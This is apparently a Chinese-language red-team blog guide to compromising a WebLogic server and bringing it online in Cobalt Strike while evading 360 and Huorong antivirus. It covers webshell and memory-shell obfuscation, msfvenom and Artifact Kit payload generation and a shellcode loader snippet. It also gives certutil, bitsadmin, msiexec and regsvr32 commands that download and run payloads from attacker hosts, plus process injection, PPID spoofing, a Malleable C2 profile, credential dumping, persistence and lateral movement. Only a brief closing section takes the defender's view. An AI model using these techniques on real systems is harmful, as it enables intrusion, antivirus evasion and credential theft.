红队实战:绕过360/火绒,从Webshell到Cobalt Strike上线的完整免杀方案

📅 2026/7/4 16:07:25
红队实战:绕过360/火绒,从Webshell到Cobalt Strike上线的完整免杀方案
1. 项目概述与核心挑战拿到这个标题我第一反应是这活儿挺“经典”的但每一步都踩在安全软件的雷点上。所谓“经典”指的是在内网渗透测试的红队评估中通过Web应用漏洞获取Webshell再以此为跳板将目标服务器上线到Cobalt Strike简称CS这类C2命令与控制平台是建立持久化控制、进行横向移动的常规路径。而“踩雷点”则是因为如今企业服务器的安全基线早已不是裸奔状态360安全卫士、火绒这类终端防护软件几乎是标配它们对异常进程、可疑网络连接、特别是CS Beacon这种特征明显的木马有着相当灵敏的嗅觉。这个项目的核心说白了就是一场针对终端检测与响应EDR的“猫鼠游戏”。目标是一台运行着Weblogic中间件的服务器我们假设已经通过某个漏洞比如老生常谈但依然可能存在的反序列化漏洞拿到了一个冰蝎Behinder的Webshell。冰蝎本身以其流量加密、动态密钥协商的特性在对抗Web应用防火墙WAF和流量审计设备上有不错的效果但这仅仅解决了“通信隐蔽”的问题。当我们试图通过这个Webshell在服务器上执行命令、上传文件、最终运行CS的Beacon时就会直接暴露在本地杀软的实时监控之下。因此整个流程不能是简单的“上传-执行”。它必须被拆解成几个关键环节并针对每个环节的检测点设计绕过策略首先是Webshell本身的免杀与命令执行绕过确保我们能在冰蝎的管理界面里安全地操作其次是Beacon载荷的免杀生成确保文件落地时不被秒删最后是执行过程的对抗如何巧妙地启动这个Beacon而不触发行为检测。这就像一套组合拳缺一不可。接下来我将结合我多次在真实环境测试中积累的经验把这套组合拳的每一个细节拆开揉碎了讲清楚。2. 环境准备与前置条件分析在动手之前我们必须把“战场”环境摸清楚。盲目操作只会徒增告警日志。2.1 目标服务器环境剖析我们面对的目标是一台Weblogic服务器。Weblogic通常部署在Linux或Windows Server上但考虑到标题中提及的杀软360、火绒主要针对Windows环境我们后续的讨论将以Windows Server为核心场景这也是企业内更常见的情况。你需要通过冰蝎的初始连接快速收集以下信息操作系统与架构执行systeminfo或echo %PROCESSOR_ARCHITECTURE%确认是x64还是x86系统。这直接决定了我们后续生成Beacon的载荷架构用错架构会导致执行失败。用户权限执行whoami和whoami /groups。冰梭Webshell继承的可能是Weblogic的服务账户权限如NT AUTHORITY\NETWORK SERVICE或一个域用户。高权限如SYSTEM、Administrator自然最好但普通权限也并非无法操作只是后续的持久化、特权操作会受限。杀软进程确认执行tasklist | findstr /i “360se|ZhuDongFangYu|HipsMain|hrfw|hrss”。这条命令可以快速筛查常见的360和火绒进程。看到ZhuDongFangYu.exe360主动防御或hrss.exe火绒安全服务在运行就意味着我们的动作必须更加谨慎。网络出口情况尝试执行ping -n 1 你的C2服务器IP或curl http://你的C2服务器IP:端口如果系统有curl。目的是确认服务器能否访问到我们架设的C2服务器以及是否有出站流量限制如防火墙策略。很多时候服务器能访问外网但特定端口被屏蔽。注意这些初始侦察命令本身也可能被拦截。一个实用的技巧是将命令拆解或使用环境变量拼接。例如不用直接的whoami可以尝试set awho set bami call %a%%b%。或者优先使用冰蝎提供的“虚拟终端”等功能其命令执行方式可能已经过一定封装处理。2.2 攻击方基础设施搭建我们的作战平台需要两个核心工具冰蝎客户端和Cobalt Strike团队服务器。冰蝎客户端用于管理Webshell。建议使用较新版本如3.0 Beta其对.NET、Java内存马的支持更完善。客户端本身免杀重点在于其管理的Webshell脚本。Cobalt Strike团队服务器这是我们的指挥中心。你需要一台具有公网IP或能通过其他方式让目标服务器访问到的VPS。在服务器上安装Java环境运行./teamserver 你的IP 连接密码 [/path/to/c2.profile]启动。c2.profile是C2配置文件用于定义Beacon的通信方式、间隔、抖动等对抗流量审计至关重要后续会详细讲。Cobalt Strike客户端连接到团队服务器用于创建监听器、生成载荷、管理上线主机。这里有一个关键点团队服务器的IP和监听端口必须确保能从目标服务器网络访问。如果目标在内网你可能需要借助端口转发、DNS隧道等技术将内网流量代理出来。这是一个独立的大话题本文假设你的C2服务器IP对目标而言是可直达的。2.3 免杀思维建立不是“隐藏”而是“伪装”在开始具体操作前必须扭转一个观念免杀不是魔法不能让你凭空消失。它的核心思路是“欺骗”和“逃逸”。静态免杀针对文件本身的特征码Signature扫描。通过加壳、编码、混淆、修改PE头信息、签名伪造等方式让杀毒引擎无法直接匹配到已知的木马特征库。动态/行为免杀针对程序运行时的行为检测。例如Beacon回连时产生的网络连接、注入进程、申请敏感权限等操作。这需要通过配置C2 Profile、使用特定的执行技术如进程注入、PPID欺骗来模拟正常软件行为。我们的绕过策略将是静态与动态的结合。并且要牢记“最小化暴露”原则在服务器上停留的时间越短进行的操作越少留下的痕迹就越少被发现的概率就越低。3. 冰蝎Webshell的部署与加固冰蝎的强大在于其通信协议但那个jsp或aspx的“门”本身如果原封不动很可能在落地时就被杀软的文件扫描给处理了。3.1 获取与定制免杀Webshell直接从GitHub下载的冰蝎服务端脚本其特征早已被各大安全厂商收录。我们需要对其进行“改造”。基础混淆使用代码混淆工具对JSP脚本进行处理。对于Java可以使用ProGuard或在线JSP混淆器。但这通常不够因为关键的函数名如eval,execute和类名Runtime仍然存在。自定义密钥与类名冰蝎的JSP脚本中有一个用于加密通信的密钥默认rebeyond和一些类定义。修改这些字符串和类名是最基本的一步。用文本编辑器打开shell.jsp将所有出现的rebeyond替换为一个复杂的自定义字符串同时修改诸如U这样的类名。分离加密逻辑更高级的做法是将冰蝎的核心通信和解密逻辑从Webshell脚本中分离出来编译成一个单独的.class或.jar文件通过ClassLoader加载。这样Webshell脚本本身只剩下一个简单的、看似无害的加载器大大减少了静态特征。利用内存马技术这是目前更为主流和隐蔽的方式。冰蝎3.0支持直接注入内存马。你不需要上传一个物理的JSP文件而是通过已有的漏洞比如一个简单的命令执行点将一段特殊的Java代码注入到Weblogic的某个Filter或Servlet中。这个内存马驻留在目标应用的JVM内存里没有文件落地重启后失效但隐蔽性极强。对于Weblogic可以注入到weblogic.servlet.internal.ServletRequestImpl的Filter链中。实操心得对于一次性的渗透测试使用混淆后的JSP文件可能就足够了。但如果追求极致隐蔽或者目标环境有严格的文件监控内存马是首选。生成内存马载荷后你可以通过一个非常简单的、仅用于执行一次命令的“一次性”Webshell这种Webshell更容易免杀来加载它实现“金蝉脱壳”。3.2 上传与连接技巧假设我们通过Weblogic的某个漏洞例如CVE-2017-10271获得了文件上传或写入能力。路径选择不要上传到Web根目录下显而易见的路径。Weblogic有一些默认的、用于内部管理的路径如/bea_wls_internal/、/ws_utc/等这些路径可能权限宽松且不易被日常巡检关注。利用漏洞写入到这些目录下。文件命名伪装将你的shell.jsp命名为看起来像系统文件或日志文件的名称例如errorLog.jsp、healthCheck.jsp、include.jsp。避免使用shell、cmd、b374k这类敏感词。冰蝎客户端连接在冰蝎客户端中输入完整的URL和修改后的密钥。如果连接成功你会看到一个可以执行命令、管理文件的界面。首次连接后立即验证权限和杀软环境即执行我们2.1节提到的侦察命令。4. Cobalt Strike Beacon的免杀生成艺术这是整个流程中最关键、技术含量最高的一环。一个“裸奔”的Beacon.exe几乎不可能在装有360或火绒的机器上存活超过3秒。4.1 使用MSFVenom进行基础编码Metasploit的msfvenom是一个起点但绝不能止步于此。msfvenom -p windows/x64/meterpreter/reverse_http LHOST你的C2 IP LPORT监听端口 -f exe -o beacon_raw.exe这个生成的beacon_raw.exe是“原味”的必被杀。我们需要加入编码器msfvenom -p windows/x64/meterpreter/reverse_http LHOST192.168.1.100 LPORT4444 -e x86/shikata_ga_nai -i 10 -f exe -o beacon_encoded.exe-e指定编码器shikata_ga_nai是经典的 polymorphic XOR 编码-i 10表示编码10次。这能绕过一些旧的、基于简单特征码的杀软但对于360、火绒的启发式扫描和云查杀效果有限。它们会模拟执行沙箱编码器在运行时会被还原特征依然暴露。4.2 利用Cobalt Strike的Artifact Kit和Resource Kit进行深度改造CS本身提供了强大的免杀套件这才是专业玩家的选择。Artifact Kit用于生成可执行文件EXE/DLL的模板。你可以编译自己的加载器彻底改变Beacon的PE结构。从CS的c2lint工具输出中获取模板或直接修改CS安装目录下的kit文件。关键操作修改src-common/bypass-pipe.c中的patch函数这是Beacon的入口代码。你可以加入一些无害的API调用如GetSystemTime,Sleep来打乱执行流程或者实现简单的反沙箱检查如检查物理内存大小、CPU核心数、是否存在调试器。使用MinGW或Visual Studio编译生成新的artifact.exe。这个文件本身只是一个“壳”不包含Beacon的shellcode。Resource Kit用于将Beacon的shellcode嵌入到资源文件中然后由加载器读取执行。在CS客户端中Attack - Packages - Windows Executable (S)选择你刚刚用Artifact Kit生成的artifact.exe作为“Listener”。在“Output”选项卡选择“Windows EXE”格式并勾选“x64”。生成时CS会将配置好的Beacon shellcode以资源形式嵌入到这个“壳”里。这样生成的EXE其文件特征与你自定义的artifact.exe模板一致而核心功能作为资源被加载静态查杀难度大增。4.3 第三方加载器与分离式攻击这是目前绕过高级别杀软的主流思路不直接生成一个功能完整的EXE而是生成一个“加载器”Dropper/Downloader和一个独立的shellcode文件Payload。生成Raw格式的Shellcode在CS中Attack - Packages - Payload Generator生成一个raw格式的Beacon shellcode文件例如beacon.bin。使用自定义的加载器你可以用C/C、Go、C#甚至Python编写一个简单的加载器。它的功能很简单从网络HTTP/S、DNS、SMB或本地隐藏在图片、文本文件中读取beacon.bin这段shellcode然后在内存中申请一块可执行的内存将shellcode拷贝进去并跳转到那里执行。C/C示例概念// 伪代码省略错误处理 unsigned char shellcode[] { ... }; // 从文件或网络读取的beacon.bin LPVOID execMem VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(execMem, shellcode, sizeof(shellcode)); ((void(*)())execMem)(); // 执行shellcode关键点这个加载器本身可以做得非常“干净”只包含一些基本的系统调用很容易通过代码混淆、加壳如VMProtect、Themida的商业壳或开源的UPX加花指令实现免杀。而真正的恶意载荷beacon.bin则远程加载不落地或落地为非可执行文件。工具推荐Donut是一个优秀的工具它可以将.NET程序集转换为位置无关的shellcode。你可以先用CS生成一个.NET的Beaconwindows/beacon_http/reverse_http然后用Donut转换成shellcode再由你的加载器执行。注意事项分离式加载对网络稳定性有要求。如果加载器无法从远程获取Payload攻击就会失败。因此务必确保你的C2服务器地址和端口是可达的并且可以考虑设置多个备用下载地址。5. 绕过杀软执行上线的实战技巧即使有了免杀的Webshell和免杀的Beacon执行的那一刻仍然是危险的。杀软的实时监控HIPS会盯着进程创建、网络连接等行为。5.1 命令执行绕过针对Webshell在冰蝎的虚拟终端里直接cmd.exe /c beacon.exe无异于自投罗网。无文件执行这是理想情况。利用冰蝎的“文件管理”功能将Beacon文件直接上传到内存中某些版本的冰蝎支持然后通过反射加载.NET Assembly Load或PE注入的方式直接执行避免在磁盘上创建.exe文件。对于JSP环境可以利用Java的defineClass机制在内存中加载并执行类。Living-off-the-land利用系统工具如果必须落地文件执行时不要直接调用cmd.exe。使用certutilcertutil -urlcache -split -f http://your-c2/payload.exe c:\windows\temp\payload.exe c:\windows\temp\payload.exe。certutil是系统自带工具常用于下载行为相对常见。使用bitsadminbitsadmin /transfer myjob /download /priority high http://your-c2/payload.exe c:\temp\payload.exe c:\temp\payload.exe。使用msiexec远程安装将Payload封装进一个MSI包通过msiexec /i http://your-c2/setup.msi /q静默安装执行。使用regsvr32执行SCT脚本生成一个.sct文件包含执行命令的脚本通过regsvr32 /s /n /u /i:http://your-c2/script.sct scrobj.dll来远程执行。这个技巧可以绕过很多对可执行文件的检测。命令混淆与编码如果上述工具都被限制可以尝试基础的编码混淆。Base64编码echo Y21kLmV4ZSAvYyBjYWxjLmV4ZQ | base64 -d | cmd.exe执行calc.exe。注意Windows原生的base64命令需要PowerShell 5目标环境可能没有。可以上传一个编译好的base64解码小程序或者使用certutil -decode。字符串拼接set acm set bd. set cexe %a%%b%%c% /c whoami。5.2 进程注入与PPID欺骗当Beacon进程启动后一个陌生的beacon.exe进程挂在任务管理器里非常扎眼。我们需要把它藏起来。进程注入将Beacon的shellcode注入到一个已有的、可信的系统进程如explorer.exe,svchost.exe,notepad.exe中。CS的inject命令可以很方便地完成这个操作。上线后在Beacon中执行inject pid x64其中pid是你找到的一个合适的目标进程ID。这样原始的beacon.exe进程可以退出而恶意代码在另一个合法进程的内存中运行。PPID欺骗进程的父进程IDPPID如果是一个可疑的进程如cmd.exe也容易被检测。CS的spawn命令可以指定父进程。例如你可以spawn一个新的Beacon并指定其父进程为explorer.exe的PID这样新生成的Beacon在系统看来就是由资源管理器启动的更加隐蔽。使用execute-assembly执行.NET工具CS的execute-assembly功能可以在Beacon的进程中直接加载并运行.NET程序集DLL而不需要rundll32.exe。你可以用C#编写一些信息收集、横向移动的小工具通过这种方式安全地执行避免了新进程的创建。5.3 C2 Profile配置隐匿网络行为Beacon回连C2服务器的网络流量也可能被检测。一个默认的、频繁的、固定模式的HTTP心跳包很容易被网络IDS/IPS识别。使用Malleable C2 Profile这是CS的灵魂功能之一。Profile文件可以定义Beacon的HTTP/S通信的每一个细节User-Agent伪装成主流浏览器Chrome, Firefox或软件更新程序。URI路径使用看似正常的路径如/api/v1/collect,/images/logo.png,/js/jquery.min.js。Headers添加常见的HTTP头如Accept,Referer,Cache-Control。数据编码将传输的数据编码伪装成图片image/jpeg、JSON数据或表单数据。Jitter抖动设置回连间隔的随机抖动避免固定周期。Staging禁用Staging模式set host_stage false;直接使用Stageless Beacon减少一次额外的网络请求降低暴露风险。配置示例片段http-get { set uri /wp-content/plugins/hello.php; client { header Accept text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8; header Referer http://www.google.com; metadata { base64url; prepend SESSIONID; header Cookie; } } server { header Content-Type text/html; charsetUTF-8; output { base64url; print; } } }这个配置让Beacon的GET请求看起来像是一个WordPress插件的请求元数据被Base64编码后放在Cookie头里。6. 完整实战流程串联与排错现在我们把所有环节串联起来走一遍完整的流程。6.1 第一阶段信息收集与Webshell稳固通过Weblogic漏洞如CVE-2017-10271上传经过混淆或改造的冰蝎JSP内存马注入代码。利用漏洞执行该代码在Weblogic内存中植入冰蝎内存马。使用冰蝎客户端连接内存马URL密钥使用自定义的复杂字符串。连接成功后立即执行基础信息收集命令使用混淆方式确认系统架构、权限、杀软进程、网络连通性。6.2 第二阶段免杀载荷投递与执行在CS客户端中配置一个使用Malleable C2 Profile的HTTP/HTTPS监听器。使用Artifact Kit Resource Kit的方式生成一个高度定制的免杀Beacon加载器例如update.exe。将update.exe和分离的shellcode文件payload.bin上传到你的Web服务器C2或另一个中转服务器。通过冰蝎在目标服务器上执行以下命令链示例# 1. 使用certutil下载加载器免杀壳 certutil -urlcache -split -f http://download-server.com/update.exe C:\Windows\Temp\help.exe # 2. 执行加载器加载器会去下载并执行真正的shellcode C:\Windows\Temp\help.exe # 3. 可选删除加载器文件 del C:\Windows\Temp\help.exe或者如果环境允许直接使用regsvr32远程执行SCT脚本的方式一步到位。6.3 第三阶段上线后隐匿与持久化一旦Beacon上线首先检查进程列表确认Beacon进程是否稳定。立即进行进程注入将Beacon注入到svchost.exe或explorer.exe中然后kill掉原始的Beacon进程。使用mimikatz或CS自带的logonpasswords命令抓取密码哈希或明文口令需高权限。根据需要建立持久化例如创建计划任务、服务、WMI事件订阅、注册表启动项等。注意创建持久化时触发的程序应该是被注入后的合法进程路径而不是一个可疑的beacon.exe。进行内网横向移动。使用psexec,wmi,smbexec等模块或者传递哈希Pass-the-Hash攻击。CS的lateral movement工具集非常方便。6.4 常见问题与排查实录问题一上传的Beacon文件秒消失。排查这是典型的静态查杀。你的Beacon免杀没做好。回到第4节尝试使用更彻底的改造方法如分离加载、使用Donut shellcode、或尝试用Go语言重写加载器Go编译的exe特征与C不同有时有奇效。技巧可以尝试将.exe后缀改为.txt或.log上传执行时再用ren命令改回来或者直接使用move命令配合通配符执行。问题二命令执行后冰蝎连接中断目标服务器疑似重启或崩溃。排查可能是触发了杀软的主防HIPS或行为监控导致进程被强杀甚至系统保护性重启。你的执行方式太“暴力”了。解决改用更温和的“无文件”或“Living-off-the-land”技术。优先尝试regsvr32、msiexec这类白名单程序。降低执行速度在命令间加入timeout /t 5等待几秒。问题三Beacon成功上线但几分钟后突然断开再也连不上。排查网络流量被识别。你的C2 Profile可能太简单或者Beacon的通信模式如固定的心跳间隔被网络侧的AI检测到。解决优化C2 Profile增加Jitter模拟真实流量。考虑使用DNS或HTTPS协议。检查团队服务器的IP和端口是否被防火墙封锁。问题四进程注入失败返回错误。排查权限不足需要SeDebugPrivilege或者目标进程架构不匹配x86进程无法注入x64的shellcode。解决先使用getprivs命令尝试启用所有可用权限。注入前用ps命令查看目标进程的架构x64还是x86确保使用对应架构的Payload进行注入。7. 防御视角与总结反思从攻击者视角走完一遍流程我们更应该从防御者角度思考如何应对。作为蓝队或安全运维人员针对此类攻击链防御应层层布防边界防御及时修补Weblogic等中间件漏洞部署WAF过滤异常HTTP请求阻断漏洞利用。Webshell检测部署RASP或基于机器学习的Webshell检测系统监控JVM内存中的异常类加载和函数调用对抗内存马。终端防护强化确保杀软病毒库和引擎更新。开启行为沙箱功能对certutil、bitsadmin、regsvr32等工具的异常网络下载行为进行告警或拦截。监控进程父子关系异常如explorer.exe启动cmd.exe再启动未知网络连接。网络流量分析部署全流量审计设备使用威胁情报检测Cobalt Strike等常见C2框架的流量特征即使它使用了Malleable C2 Profile其通信模式仍可能被高级威胁狩猎Threat Hunting团队通过异常检测模型发现。最小权限原则Weblogic等服务账户不应具有过高权限限制其执行命令和写入系统目录的能力。回过头看这个项目它本质上是一场围绕“检测”与“绕过”的技术博弈。没有任何一种免杀技术是永久的安全产品的检测能力也在不断进化。因此红队队员需要持续学习新的技术、工具和思路理解安全产品的检测原理才能设计出有效的绕过方案。而蓝队则需要构建纵深防御体系不依赖单一检测点通过日志关联分析、异常行为建模等手段提高攻击者的成本和被发现的风险。这场博弈将会一直持续下去。